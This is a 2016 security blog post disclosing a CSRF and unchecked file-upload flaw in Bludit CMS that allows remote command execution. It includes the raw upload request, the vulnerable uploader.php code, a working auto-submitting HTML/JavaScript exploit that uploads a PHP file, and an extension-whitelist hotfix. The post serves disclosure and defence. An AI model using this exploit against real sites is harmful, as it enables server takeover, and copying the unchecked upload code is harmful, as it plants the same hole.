DZONERZY

Bludit CSRF Remote Command Execution

September 23, 2016 Daniele

CSRF it's so critical?

Yesterday while i was auditing my own blog in order to fix all possibile bugs, i discovered a trivial but effective vulnerability affecting last version of Bludit CMS , the bug was a CSRF due to inexistence of a token during some requests in order to validate them. Usually this kind of vulnerabilities are considered "not critical" because of their nature, since user interaction is required. CSRF may lead to different vulnerabilities such as

  • Cross Site Scripting
  • Internal File Disclosure
  • Information Leak
  • SQL Injection

...But this time using CSRF will lead to a complete server takeover! In fact an unauthenticated user can send a specially crafted page to an admin in order to trigger the vulnerability.

Exploitation

Exploiting this vulnerability is pretty easy, a malicius user should craft a page which simulate the uplaod request like below

HTTP Upload request

POST /admin/ajax/uploader HTTP/1.1
Host: www.dzonerzy.net
Connection: keep-alive
Content-Length: 115446
Accept: application/json
Origin: https://www.dzonerzy.net
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydfUfE578xuYVqDyA
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: Bludit-KEY=0f8tpk63p1afv6ntbdslqk6045

------WebKitFormBoundarydfUfE578xuYVqDyA
Content-Disposition: form-data; name="files[]"; filename="image.png"
Content-Type: image/png

Fake Image
------WebKitFormBoundarydfUfE578xuYVqDyA
Content-Disposition: form-data; name="type"

cover-image
------WebKitFormBoundarydfUfE578xuYVqDyA--

The vulnerability itself resides in uploader.php because the following code won't check the file extension

// Filename and extension.
$filename = Text::lowercase($_FILES['files']['name'][0]);
$fileExtension = pathinfo($filename, PATHINFO_EXTENSION);
$filename = pathinfo($filename, PATHINFO_FILENAME);
$filename = Text::replace(' ', '', $filename);
$filename = Text::replace('_', '', $filename);

// Generate the next filename if the filename already exist.
$tmpName = $filename.'.'.$fileExtension;
if( file_exists(PATH_UPLOADS.$tmpName) )
{
    $number = 0;
    $tmpName = $filename.'_'.$number.'.'.$fileExtension;
    while(file_exists(PATH_UPLOADS.$tmpName)) {
        $number++;
        $tmpName = $filename.'_'.$number.'.'.$fileExtension;
    }
}

// Move from temporary PHP folder to temporary Bludit folder.
move_uploaded_file($source, PATH_TMP.'original'.'.'.$fileExtension);

we can reproduce the request above using a trivial JavaScript script that does not require user interaction

Exploit

<html>
<head>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/bludit/admin/ajax/uploader", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
xhr.withCredentials = "true";
var body = "-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"type\"\r\n" +
"\r\n" +
"cover-image\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"hack.php\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"<?php phpinfo() ?>\r\n" +
"-----------------------------256672629917035--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
</head>
<body onload="submitRequest();">
</body>
</html>

When the admin open the above page page automatically the POST request will be sended, if the admin was previously logged on website, the authorization cookie will be automatically sended within the request headers performing a valid file upload request! The result will be an arbitrary file uploaded into /bl-content/uploads/hack.php resulting in a Command Execution and server takeover.

The Fix

I already fixed my blog since i don't like awaiting for official patch, anyway here's how i fixed it in upload.php, just below the $filename declaration insert

$validExtension = array("tiff", "gif", "png", "jpg", "jpeg", "bmp");
if(!in_array($fileExtension, $validExtension))
    $fileExtension = "jpg";

The result will be

// Filename and extension.
$filename = Text::lowercase($_FILES['files']['name'][0]);
$fileExtension = pathinfo($filename, PATHINFO_EXTENSION);
$filename = pathinfo($filename, PATHINFO_FILENAME);
$filename = Text::replace(' ', '', $filename);
$filename = Text::replace('_', '', $filename);
// Hotfix for CSRF RCE
$validExtension = array("tiff", "gif", "png", "jpg", "jpeg", "bmp");
if(!in_array($fileExtension, $validExtension))
    $fileExtension = "jpg";

Using this fix whenever a file with "unknow" extension is uploaded the server will force to use jpg extension in order to prevent exploitation. Another possible fix would be using a CSRF token, look here for more info.

 End

This is a pratical example of how dangerous CSRF are, so please take into consideration to use security framework which automatically prevent these kind of attacks.

#dzonerzy